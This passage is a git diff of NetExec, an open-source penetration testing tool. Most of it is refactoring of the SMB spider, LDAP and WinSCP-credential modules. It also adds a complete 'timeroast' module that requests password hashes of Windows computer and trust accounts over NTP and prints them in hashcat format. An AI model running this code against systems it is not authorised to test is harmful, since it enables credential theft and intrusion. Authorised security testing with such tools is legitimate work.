self.logger.debug(f'Cannot list files in folder "{subfolder}".') - elif "STATUS_OBJECT_PATH_NOT_FOUND" in str(e): self.logger.debug(f"The folder {subfolder} does not exist.") - elif self.reconnect(): filelist = self.list_path(share, subfolder) - + except NetBIOSTimeout as e: + self.logger.debug(f'Failed listing files on share "{share}" in folder "{subfolder}": {e!s}') return filelist def get_remote_file(self, share, path): @@ -166,7 +165,7 @@ class SMBSpiderPlus: def get_file_save_path(self, remote_file): r"""Processes the remote file path to extract the filename and the folder path where the file should be saved locally. - + It converts forward slashes (/) and backslashes (\) in the remote file path to the appropriate path separator for the local file system. The folder path and filename are then obtained separately. """ @@ -213,9 +212,9 @@ class SMBSpiderPlus: # Start the spider at the root of the share folder self.results[share_name] = {} self.spider_folder(share_name, "") - except SessionError as e: + except (SessionError, NetBIOSTimeout) as e: self.logger.exception(e) - self.logger.fail("Got a session error while spidering.") + self.logger.fail(f"Got a session or NetBIOSTimeout error while spidering share: {share_name}") self.reconnect() except Exception as e: @@ -286,8 +285,9 @@ class SMBSpiderPlus: # Check file extension filter. _, file_extension = splitext(file_path) if file_extension: + file_extension = file_extension.lstrip(".") self.stats["file_exts"].add(file_extension.lower()) - if file_extension.lower() in self.exclude_exts: + if file_extension.lower() in [ext.lstrip(".") for ext in self.exclude_exts]: self.logger.info(f'The file "{file_path}" has an excluded extension.') self.stats["num_files_filtered"] += 1 return @@ -373,7 +373,7 @@ class SMBSpiderPlus: def dump_folder_metadata(self, results): """Takes the metadata results as input and writes them to a JSON file in the `self.output_folder`. - + The results are formatted with indentation and sorted keys before being written to the file. """ metadata_path = join(self.output_folder, f"{self.host}.json") @@ -485,7 +485,7 @@ class NXCModule: EXCLUDE_EXTS Case-insensitive extension filter to exclude (Default: ico,lnk) EXCLUDE_FILTER Case-insensitive filter to exclude folders/files (Default: print$,ipc$) MAX_FILE_SIZE Max file size to download (Default: 51200) - OUTPUT_FOLDER Path of the local folder to save files (Default: /tmp/nxc_spider_plus) + OUTPUT_FOLDER Path of the local folder to save files (Default: ~/.nxc/nxc_spider_plus) """ self.download_flag = False if any("DOWNLOAD" in key for key in module_options): @@ -498,7 +498,7 @@ class NXCModule: self.exclude_filter = get_list_from_option(module_options.get("EXCLUDE_FILTER", "print$,ipc$")) self.exclude_filter = [d.lower() for d in self.exclude_filter] # force case-insensitive self.max_file_size = int(module_options.get("MAX_FILE_SIZE", 50 * 1024)) - self.output_folder = module_options.get("OUTPUT_FOLDER", abspath(join(TMP_PATH, "nxc_spider_plus"))) + self.output_folder = module_options.get("OUTPUT_FOLDER", abspath(join(NXC_PATH, "modules/nxc_spider_plus"))) def on_login(self, context, connection): context.log.display("Started module spidering_plus with the following options:") diff --git a/nxc/modules/subnets.py b/nxc/modules/subnets.py index 0f2001d0..d19f40c2 100644 --- a/nxc/modules/subnets.py +++ b/nxc/modules/subnets.py @@ -42,12 +42,12 @@ class NXCModule: multiple_hosts = False def on_login(self, context, connection): - dn = connection.ldapConnection._baseDN if self.base_dn is None else self.base_dn + dn = connection.ldap_connection._baseDN if self.base_dn is None else self.base_dn context.log.display("Getting the Sites and Subnets from domain") try: - list_sites = connection.ldapConnection.search( + list_sites = connection.ldap_connection.search( searchBase=f"CN=Configuration,{dn}", searchFilter="(objectClass=site)", attributes=["distinguishedName", "name", "description"], @@ -68,7 +68,7 @@ class NXCModule: site_description = site["description"] # Getting subnets of this site - list_subnets = connection.ldapConnection.search( + list_subnets = connection.ldap_connection.search( searchBase=f"CN=Sites,CN=Configuration,{dn}", searchFilter=f"(siteObject={site_dn})", attributes=["distinguishedName", "name"], @@ -86,7 +86,7 @@ class NXCModule: if self.showservers: # Getting machines in these subnets - list_servers = connection.ldapConnection.search( + list_servers = connection.ldap_connection.search( searchBase=site_dn, searchFilter="(objectClass=server)", attributes=["cn"], diff --git a/nxc/modules/timeroast.py b/nxc/modules/timeroast.py new file mode 100644 index 00000000..bc87f8e0 --- /dev/null +++ b/nxc/modules/timeroast.py @@ -0,0 +1,112 @@ +from binascii import hexlify, unhexlify +from select import select +from time import time +from socket import socket, AF_INET, SOCK_DGRAM +from struct import pack, unpack + + + +def hashcat_format(rid, hashval, salt): + """Encodes hash in Hashcat-compatible format (with username prefix).""" + return f"{rid}:$sntp-ms${hexlify(hashval).decode()}${hexlify(salt).decode()}" + +class NXCModule: + """ + Module by Disgame: @Disgame + Based on research from SecuraBV (@SecuraBV) + + https://github.com/SecuraBV/Timeroast/ + + Much of this code was copied from the original implementation. + """ + + name = "timeroast" + description = "Timeroasting exploits Windows NTP authentication to request password hashes of any computer or trust account" + supported_protocols = ["smb"] + opsec_safe = True + multiple_hosts = False + + def __init__(self): + self.context = None + self.module_options = None + + # Static NTP query prefix using the MD5 authenticator. Append 4-byte RID and dummy checksum to create a full query. + self.ntp_prefix = unhexlify("db0011e9000000000001000000000000e1b8407debc7e50600000000000000000000000000000000e1b8428bffbfcd0a") + + + def options(self, context, module_options): + self.rids = range(1, 2**31) + self.rate = 180 + self.timeout = 24 + self.src_port = 0 + self.old_hashes = False + self.target = None + + if "rids" in module_options: + self.rids = module_options["rids"] + if "rate" in module_options: + self.rate = module_options["rate"] + if "timeout" in module_options: + self.timeout = module_options["timeout"] + if "src_port" in module_options: + self.src_port = module_options["src_port"] + if "old_hashes" in module_options: + self.old_hashes = module_options["old_hashes"] + + def on_login(self, context, connection): + if self.target is None: + self.target = connection.host + + context.log.display("Starting Timeroasting...") + + for rid, md5hash, salt in self.run_ntp_roast(context, self.target, self.rids, self.rate, self.timeout, self.old_hashes, self.src_port): + context.log.highlight(hashcat_format(rid, md5hash, salt)) + + def run_ntp_roast(self, context, dc_host, rids, rate, giveup_time, old_pwd, src_port=0): + """Gathers MD5(MD4(password) || NTP-response[:48]) hashes for a sequence of RIDs. + Rate is the number of queries per second to send. + Will quit when either rids ends or no response has been received in giveup_time seconds. Note that the server will + not respond to queries with non-existing RIDs, so it is difficult to distinguish nonexistent RIDs from network + issues. + + Yields (rid, hash, salt) pairs, where salt is the NTP response data. + """ + # Flag in key identifier that indicates whether the old or new password should be used. + keyflag = 2**31 if old_pwd else 0 + + # Bind UDP socket. + with socket(AF_INET, SOCK_DGRAM) as sock: + try: + sock.bind(("0.0.0.0", src_port)) + except PermissionError: + context.log.exception(f"No permission to listen on port {src_port}. May need to run as root.") + + + query_interval = 1 / rate + last_ok_time = time() + rids_received = set() + rid_iterator = iter(rids) + + while time() < last_ok_time + giveup_time: + # Send out query for the next RID, if any. + query_rid = next(rid_iterator, None) + if query_rid is not None: + query = self.ntp_prefix + pack(" "Tuple[int, bytes]": + def dec_next_char(self, pass_bytes) -> tuple[int, bytes]: """ Decrypts the first byte of the password and returns the decrypted byte and the remaining bytes. @@ -307,7 +308,11 @@ class NXCModule: context.log.fail(f"UNEXPECTED ERROR: {e}") context.log.debug(traceback.format_exc()) finally: - remote_ops.finish() + try: + remote_ops.finish() + except rrp.DCERPCSessionError as e: + # Likely can't stop rrp due to other services dependending on it + context.log.debug(f"Error finishing remote operations: {e}") # ==================== Handle Configs ==================== def decode_config_file(self, context, confFile): @@ -347,14 +352,19 @@ class NXCModule: context.log.debug(traceback.format_exc()) else: context.log.display("Looking for WinSCP creds in User documents and AppData...") - output = connection.execute('powershell.exe "Get-LocalUser | Select name"', True) - users = [row.strip() for row in output.split("\r\n")[2:]] + users = [] + out = connection.conn.listPath(self.share, "\\Users\\*") + for obj in out: + if obj.get_longname() in [".", ".."] or not obj.is_directory(): + continue + else: + users.append(obj.get_longname()) # Iterate over found users and default paths to look for WinSCP.ini files for user in users: paths = [ - ("\\Users\\" + user + "\\Documents\\WinSCP.ini"), - ("\\Users\\" + user + "\\AppData\\Roaming\\WinSCP.ini"), + (f"\\Users\\{user}\\Documents\\WinSCP.ini"), + (f"\\Users\\{user}\\AppData\\Roaming\\WinSCP.ini"), ] for path in paths: conf_file = "" @@ -363,9 +373,12 @@ class NXCModule: connection.conn.getFile(self.share, path, buf.write) conf_file = buf.getvalue().decode() context.log.success(f"Found config file at '{self.share + path}'! Extracting credentials...") - except Exception as e: + except SessionError as e: context.log.debug(f"No config file found at '{self.share + path}': {e}") - if conf_file: + except Exception as e: + context.log.fail(f"Error getting config file at '{self.share + path}': {e}") + context.log.debug(traceback.format_exc()) + else: self.decode_config_file(context, conf_file) def on_admin_login(self, context, connection): diff --git a/nxc/netexec.py b/nxc/netexec.py index 3c66572f..16280d19 100755 --- a/nxc/netexec.py +++ b/nxc/netexec.py @@ -173,6 +173,9 @@ def main(): for module in args.module: nxc_logger.display(f"{module} module options:\n{modules[module]['options']}") exit(0) + elif args.show_module_options: + nxc_logger.error("--options requires -M/--module") + exit(1) elif args.module: # Check the modules for sanity before loading the protocol nxc_logger.debug(f"Modules to be Loaded for sanity check: {args.module}, {type(args.module)}") diff --git a/nxc/nxcdb.py b/nxc/nxcdb.py index 7ae45479..4ebe1f8c 100644 --- a/nxc/nxcdb.py +++ b/nxc/nxcdb.py @@ -153,7 +153,7 @@ class DatabaseNavigator(cmd.Cmd): if cred[4] == "hash": usernames.append(cred[2]) passwords.append(cred[3]) - output_list = [":".join(combination) for combination in zip(usernames, passwords)] + output_list = [":".join(combination) for combination in zip(usernames, passwords, strict=True)] write_list(filename, output_list) else: print(f"[-] No such export option: {line[1]}") diff --git a/nxc/parsers/ldap_results.py b/nxc/parsers/ldap_results.py index 439e240a..da7f90d1 100644 --- a/nxc/parsers/ldap_results.py +++ b/nxc/parsers/ldap_results.py @@ -1,5 +1,6 @@ from impacket.ldap import ldapasn1 as ldapasn1_impacket + def parse_result_attributes(ldap_response): parsed_response = [] for entry in ldap_response: @@ -8,7 +9,18 @@ def parse_result_attributes(ldap_response): continue attribute_map = {} for attribute in entry["attributes"]: - val = [str(val) for val in attribute["vals"].components] - attribute_map[str(attribute["type"])] = val if len(val) > 1 else val[0] + val_list = [] + for val in attribute["vals"].components: + try: + encoding = val.encoding + val_decoded = str(val).encode(encoding).decode("utf-8") + except UnicodeDecodeError: + # If we can't decode the value, we'll just return the bytes + val_decoded = val.__bytes__() + val_list.append(val_decoded) + if len(val_list) == 1: + attribute_map[str(attribute["type"])] = val_list[0] + else: + attribute_map[str(attribute["type"])] = val_list parsed_response.append(attribute_map) - return parsed_response \ No newline at end of file + return parsed_response diff --git a/nxc/parsers/nmap.py b/nxc/parsers/nmap.py index 69118c33..ce0c7259 100644 --- a/nxc/parsers/nmap.py +++ b/nxc/parsers/nmap.py @@ -3,7 +3,7 @@ from nxc.logger import nxc_logger # right now we are only referencing the port numbers, not the service name, but this should be sufficient for 99% cases protocol_dict = { - "Ftp": {"ports": [21], "services": ["Ftp"]}, + "ftp": {"ports": [21], "services": ["ftp"]}, "ssh": {"ports": [22, 2222], "services": ["ssh"]}, "smb": {"ports": [139, 445], "services": ["netbios-ssn", "microsoft-ds"]}, "ldap": {"ports": [389, 636], "services": ["ldap", "ldaps"]}, @@ -11,6 +11,8 @@ protocol_dict = { "rdp": {"ports": [3389], "services": ["ms-wbt-server"]}, "winrm": {"ports": [5985, 5986], "services": ["wsman"]}, "vnc": {"ports": [5900, 5901, 5902, 5903, 5904, 5905, 5906], "services": ["vnc"]}, + "wmi": {"ports": [135], "services": ["msrpc"]}, + "nfs": {"ports": [2049], "services": ["nfs"]}, } diff --git a/nxc/protocols/ftp.py b/nxc/protocols/ftp.py index bf2a39ad..859f2d03 100644 --- a/nxc/protocols/ftp.py +++ b/nxc/protocols/ftp.py @@ -24,19 +24,23 @@ class ftp(connection): def proto_flow(self): self.proto_logger() - if self.create_conn_obj() and self.enum_host_info() and self.print_host_info() and self.login(): - pass + if self.create_conn_obj() and self.login(): + if hasattr(self.args, "module") and self.args.module: + self.load_modules() + self.logger.debug("Calling modules") + self.call_modules() + else: + self.logger.debug("Calling command arguments") + self.call_cmd_args() def enum_host_info(self): welcome = self.conn.getwelcome() self.logger.debug(f"Welcome result: {welcome}") self.remote_version = welcome.split("220", 1)[1].strip() # strip out the extra space in the front self.logger.debug(f"Remote version: {self.remote_version}") - return True def print_host_info(self): self.logger.display(f"Banner: {self.remote_version}") - return True def create_conn_obj(self): self.conn = FTP() diff --git a/nxc/protocols/ftp/database.py b/nxc/protocols/ftp/database.py index a0fff212..e7a2f1c7 100644 --- a/nxc/protocols/ftp/database.py +++ b/nxc/protocols/ftp/database.py @@ -7,7 +7,7 @@ from sqlalchemy.exc import ( NoSuchTableError, ) -from nxc.database import BaseDB +from nxc.database import BaseDB, format_host_query from nxc.logger import nxc_logger @@ -221,8 +221,8 @@ class database(BaseDB): return [results] # if we're filtering by host elif filter_term and filter_term != "": - like_term = func.lower(f"%{filter_term}%") - q = q.filter(self.HostsTable.c.host.like(like_term)) + q = format_host_query(q, filter_term, self.HostsTable) + results = self.db_execute(q).all() nxc_logger.debug(f"FTP get_hosts() - results: {results}") return results diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 7780a5b1..d04f98d8 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -3,34 +3,35 @@ import hashlib import hmac import os -import socket +from errno import EHOSTUNREACH, ETIMEDOUT, ENETUNREACH from binascii import hexlify -from datetime import datetime, timedelta +from datetime import datetime from re import sub, I from zipfile import ZipFile from termcolor import colored +from dns import resolver from Cryptodome.Hash import MD4 from OpenSSL.SSL import SysCallError from bloodhound.ad.authentication import ADAuthentication from bloodhound.ad.domain import AD -from impacket.dcerpc.v5.epm import MSRPC_UUID_PORTMAP -from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE from impacket.dcerpc.v5.samr import ( UF_ACCOUNTDISABLE, UF_DONT_REQUIRE_PREAUTH, UF_TRUSTED_FOR_DELEGATION, UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION, + UF_SERVER_TRUST_ACCOUNT, + SAM_MACHINE_ACCOUNT, ) -from impacket.dcerpc.v5.transport import DCERPCTransportFactory from impacket.krb5 import constants from impacket.krb5.kerberosv5 import getKerberosTGS, SessionKeyDecryptionError from impacket.krb5.types import Principal, KerberosException from impacket.ldap import ldap as ldap_impacket +from impacket.ldap import ldaptypes from impacket.ldap import ldapasn1 as ldapasn1_impacket from impacket.ldap.ldap import LDAPFilterSyntaxError -from impacket.smb import SMB_DIALECT -from impacket.smbconnection import SMBConnection, SessionError +from impacket.smbconnection import SessionError +from impacket.ntlm import getNTLMSSPType1 from nxc.config import process_secret, host_info_colors from nxc.connection import connection @@ -40,6 +41,7 @@ from nxc.protocols.ldap.bloodhound import BloodHound from nxc.protocols.ldap.gmsa import MSDS_MANAGEDPASSWORD_BLOB from nxc.protocols.ldap.kerberos import KerberosAttacks from nxc.parsers.ldap_results import parse_result_attributes +from nxc.helpers.ntlm_parser import parse_challenge ldap_error_status = { "1": "STATUS_NOT_SUPPORTED", @@ -134,7 +136,7 @@ class ldap(connection): self.server_os = None self.os_arch = 0 self.hash = None - self.ldapConnection = None + self.ldap_connection = None self.lmhash = "" self.nthash = "" self.baseDN = "" @@ -161,15 +163,18 @@ class ldap(connection): } ) - def get_ldap_info(self, host): + def create_conn_obj(self): + target = "" + target_domain = "" + base_dn = "" try: proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap" - ldap_url = f"{proto}://{host}" + ldap_url = f"{proto}://{self.host}" self.logger.info(f"Connecting to {ldap_url} with no baseDN") try: - ldap_connection = ldap_impacket.LDAPConnection(ldap_url, dstIp=self.host) - if ldap_connection: - self.logger.debug(f"ldap_connection: {ldap_connection}") + self.ldap_connection = ldap_impacket.LDAPConnection(ldap_url, dstIp=self.host) + if self.ldap_connection: + self.logger.debug(f"ldap_connection: {self.ldap_connection}") except SysCallError as e: if proto == "ldaps": self.logger.fail(f"LDAPs connection to {ldap_url} failed - {e}") @@ -177,9 +182,9 @@ class ldap(connection): self.logger.fail("Even if the port is open, LDAPS may not be configured") else: self.logger.fail(f"LDAP connection to {ldap_url} failed: {e}") - exit(1) + return False - resp = ldap_connection.search( + resp = self.ldap_connection.search( scope=ldapasn1_impacket.Scope("baseObject"), attributes=["defaultNamingContext", "dnsHostName"], sizeLimit=0, @@ -187,9 +192,6 @@ class ldap(connection): for item in resp: if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: continue - target = None - target_domain = None - base_dn = None try: for attribute in item["attributes"]: if str(attribute["type"]) == "defaultNamingContext": @@ -205,43 +207,27 @@ class ldap(connection): except Exception as e: self.logger.debug("Exception:", exc_info=True) self.logger.info(f"Skipping item, cannot process due to error {e}") - except OSError: - return [None, None, None] - self.logger.debug(f"Target: {target}; target_domain: {target_domain}; base_dn: {base_dn}") - return [target, target_domain, base_dn] - - def get_os_arch(self): - try: - string_binding = rf"ncacn_ip_tcp:{self.host}[135]" - transport = DCERPCTransportFactory(string_binding) - transport.setRemoteHost(self.host) - transport.set_connect_timeout(5) - dce = transport.get_dce_rpc() - if self.args.kerberos: - dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) - dce.connect() - try: - dce.bind( - MSRPC_UUID_PORTMAP, - transfer_syntax=("71710533-BEBA-4937-8319-B5DBEF9CCC36", "1.0"), - ) - except DCERPCException as e: - if str(e).find("syntaxes_not_supported") >= 0: - dce.disconnect() - return 32 + except ConnectionRefusedError as e: + self.logger.debug(f"{e} on host {self.host}") + return False + except OSError as e: + if e.errno in (EHOSTUNREACH, ENETUNREACH, ETIMEDOUT): + self.logger.info(f"Error connecting to {self.host} - {e}") + return False else: - dce.disconnect() - return 64 - except Exception as e: - self.logger.fail(f"Error retrieving os arch of {self.host}: {e!s}") + self.logger.error(f"Error getting ldap info {e}") - return 0 + self.logger.debug(f"Target: {target}; target_domain: {target_domain}; base_dn: {base_dn}") + self.target = target + self.targetDomain = target_domain + self.baseDN = base_dn + return True def get_ldap_username(self): extended_request = ldapasn1_impacket.ExtendedRequest() extended_request["requestName"] = "1.3.6.1.4.1.4203.1.11.3" # whoami - response = self.ldapConnection.sendReceive(extended_request) + response = self.ldap_connection.sendReceive(extended_request) for message in response: search_result = message["protocolOp"].getComponent() if search_result["resultCode"] == ldapasn1_impacket.ResultCode("success"): @@ -252,67 +238,51 @@ class ldap(connection): return "" def enum_host_info(self): - self.target, self.targetDomain, self.baseDN = self.get_ldap_info(self.host) - self.hostname = self.target + self.baseDN = self.args.base_dn if self.args.base_dn else self.baseDN # Allow overwriting baseDN from args + self.hostname = self.target.split(".")[0].upper() if "." in self.target else self.target self.remoteName = self.target self.domain = self.targetDomain - # smb no open, specify the domain - if not self.args.no_smb: - self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0] - try: - self.conn.login("", "") - except BrokenPipeError as e: - self.logger.fail(f"Broken Pipe Error while attempting to login: {e}") - except Exception as e: - if "STATUS_NOT_SUPPORTED" in str(e): - self.no_ntlm = True - if not self.no_ntlm: - self.hostname = self.conn.getServerName() - self.targetDomain = self.domain = self.conn.getServerDNSDomainName() - self.server_os = self.conn.getServerOS() - self.signing = self.conn.isSigningRequired() if self.smbv1 else self.conn._SMBConnection._Connection["RequireSigning"] - self.os_arch = self.get_os_arch() - self.logger.extra["hostname"] = self.hostname + ntlm_challenge = None + bindRequest = ldapasn1_impacket.BindRequest() + bindRequest["version"] = 3 + bindRequest["name"] = "" + negotiate = getNTLMSSPType1() + bindRequest["authentication"]["sicilyNegotiate"] = negotiate.getData() + try: + response = self.ldap_connection.sendReceive(bindRequest)[0]["protocolOp"] + ntlm_challenge = bytes(response["bindResponse"]["matchedDN"]) + except Exception as e: + self.logger.debug(f"Failed to get target {self.host} ntlm challenge, error: {e!s}") - if not self.domain: - self.domain = self.hostname - if self.args.domain: - self.domain = self.args.domain - if self.args.local_auth: - self.domain = self.hostname - self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}" + if ntlm_challenge: + ntlm_info = parse_challenge(ntlm_challenge) + self.server_os = ntlm_info["os_version"] - try: # noqa: SIM105 - # DC's seem to want us to logoff first, windows workstations sometimes reset the connection - self.conn.logoff() - except Exception: - pass - - # Re-connect since we logged off - self.create_conn_obj() - - if not self.kdcHost and self.domain: + # using kdcHost is buggy on impacket when using trust relation between ad so we kdcHost must stay to none if targetdomain is not equal to domain + if not self.kdcHost and self.domain and self.domain == self.targetDomain: result = self.resolver(self.domain) self.kdcHost = result["host"] if result else None self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}") self.output_filename = os.path.expanduser(f"~/.nxc/logs/{self.hostname}_{self.host}".replace(":", "-")) + try: + self.db.add_host( + self.host, + self.hostname, + self.domain, + self.server_os + ) + except Exception as e: + self.logger.debug(f"Error adding host {self.host} into db: {e!s}") + def print_host_info(self): self.logger.debug("Printing host info for LDAP") - if self.args.no_smb: - self.logger.extra["protocol"] = "LDAP" if self.port == 389 else "LDAPS" - self.logger.extra["port"] = self.port - self.logger.display(f'{self.baseDN} (Hostname: {self.hostname.split(".")[0]}) (domain: {self.domain})') - else: - self.logger.extra["protocol"] = "SMB" if not self.no_ntlm else "LDAP" - self.logger.extra["port"] = "445" if not self.no_ntlm else "389" - signing = colored(f"signing:{self.signing}", host_info_colors[0], attrs=["bold"]) if self.signing else colored(f"signing:{self.signing}", host_info_colors[1], attrs=["bold"]) - smbv1 = colored(f"SMBv1:{self.smbv1}", host_info_colors[2], attrs=["bold"]) if self.smbv1 else colored(f"SMBv1:{self.smbv1}", host_info_colors[3], attrs=["bold"]) - self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.targetDomain}) ({signing}) ({smbv1})") - self.logger.extra["protocol"] = "LDAP" - return True + self.logger.extra["protocol"] = "LDAP" if str(self.port) == "389" else "LDAPS" + self.logger.extra["port"] = self.port + self.logger.extra["hostname"] = self.hostname + self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain})") def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False): self.username = username @@ -353,13 +323,20 @@ class ldap(connection): proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap" ldap_url = f"{proto}://{self.target}" self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} [1]") - self.ldapConnection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host) - self.ldapConnection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache) + self.ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host) + self.ldap_connection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache) if self.username == "": self.username = self.get_ldap_username() self.check_if_admin() + if password: + self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}") + self.db.add_credential("plaintext", domain, self.username, self.password) + elif ntlm_hash: + self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.hash}") + self.db.add_credential("hash", domain, self.username, self.hash) + used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}" self.logger.success(f"{domain}\\{self.username}{used_ccache} {self.mark_pwned()}") @@ -398,13 +375,20 @@ class ldap(connection): self.logger.extra["port"] = "636" ldaps_url = f"ldaps://{self.target}" self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} [2]") - self.ldapConnection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host) - self.ldapConnection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache) + self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host) + self.ldap_connection.kerberosLogin(username, password, domain, self.lmhash, self.nthash, aesKey, kdcHost=kdcHost, useCache=useCache) if self.username == "": self.username = self.get_ldap_username() self.check_if_admin() + if password: + self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}") + self.db.add_credential("plaintext", domain, self.username, self.password) + elif ntlm_hash: + self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.hash}") + self.db.add_credential("hash", domain, self.username, self.hash) + # Prepare success credential text self.logger.success(f"{domain}\\{self.username} {self.mark_pwned()}") @@ -455,9 +439,11 @@ class ldap(connection): proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap" ldap_url = f"{proto}://{self.target}" self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} [3]") - self.ldapConnection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host) - self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) + self.ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host) + self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) self.check_if_admin() + self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}") + self.db.add_credential("plaintext", domain, self.username, self.password) # Prepare success credential text self.logger.success(f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}") @@ -476,9 +462,11 @@ class ldap(connection): self.logger.extra["port"] = "636" ldaps_url = f"ldaps://{self.target}" self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host} [4]") - self.ldapConnection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host) - self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) + self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host) + self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) self.check_if_admin() + self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}") + self.db.add_credential("plaintext", domain, self.username, self.password) # Prepare success credential text self.logger.success(f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_pwned()}") @@ -494,15 +482,12 @@ class ldap(connection): f"{self.domain}\\{self.username}:{process_secret(self.password)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}", color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red", ) - self.logger.fail("LDAPS channel binding might be enabled, this is only supported with kerberos authentication. Try using '-k'.") else: error_code = str(e).split()[-2][:-1] self.logger.fail( f"{self.domain}\\{self.username}:{process_secret(self.password)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}", color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red", ) - if proto == "ldaps": - self.logger.fail("LDAPS channel binding might be enabled, this is only supported with kerberos authentication. Try using '-k'.") return False except OSError as e: self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.password)} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}") @@ -544,9 +529,11 @@ class ldap(connection): proto = "ldaps" if (self.args.gmsa or self.port == 636) else "ldap" ldaps_url = f"{proto}://{self.target}" self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host}") - self.ldapConnection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host) - self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) + self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host) + self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) self.check_if_admin() + self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.hash}") + self.db.add_credential("hash", domain, self.username, self.hash) # Prepare success credential text out = f"{domain}\\{self.username}:{process_secret(self.nthash)} {self.mark_pwned()}" @@ -565,9 +552,11 @@ class ldap(connection): self.logger.extra["port"] = "636" ldaps_url = f"{proto}://{self.target}" self.logger.info(f"Connecting to {ldaps_url} - {self.baseDN} - {self.host}") - self.ldapConnection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host) - self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) + self.ldap_connection = ldap_impacket.LDAPConnection(url=ldaps_url, baseDN=self.baseDN, dstIp=self.host) + self.ldap_connection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) self.check_if_admin() + self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.hash}") + self.db.add_credential("hash", domain, self.username, self.hash) # Prepare success credential text out = f"{domain}\\{self.username}:{process_secret(self.nthash)} {self.mark_pwned()}" @@ -584,54 +573,17 @@ class ldap(connection): f"{self.domain}\\{self.username}:{process_secret(nthash)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}", color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red", ) - self.logger.fail("LDAPS channel binding might be enabled, this is only supported with kerberos authentication. Try using '-k'.") else: error_code = str(e).split()[-2][:-1] self.logger.fail( f"{self.domain}\\{self.username}:{process_secret(nthash)} {ldap_error_status[error_code] if error_code in ldap_error_status else ''}", color="magenta" if (error_code in ldap_error_status and error_code != 1) else "red", ) - if proto == "ldaps": - self.logger.fail("LDAPS channel binding might be enabled, this is only supported with kerberos authentication. Try using '-k'.") return False except OSError as e: self.logger.fail(f"{self.domain}\\{self.username}:{process_secret(self.password)} {'Error connecting to the domain, are you sure LDAP service is running on the target?'} \nError: {e}") return False - def create_smbv1_conn(self): - self.logger.debug("Creating smbv1 connection object") - try: - self.conn = SMBConnection(self.host, self.host, None, 445, preferredDialect=SMB_DIALECT) - self.smbv1 = True - if self.conn: - self.logger.debug("SMBv1 Connection successful") - except OSError as e: - if str(e).find("Connection reset by peer") != -1: - self.logger.debug(f"SMBv1 might be disabled on {self.host}") - return False - except Exception as e: - self.logger.debug(f"Error creating SMBv1 connection to {self.host}: {e}") - return False - return True - - def create_smbv3_conn(self): - self.logger.debug("Creating smbv3 connection object") - try: - self.conn = SMBConnection(self.host, self.host, None, 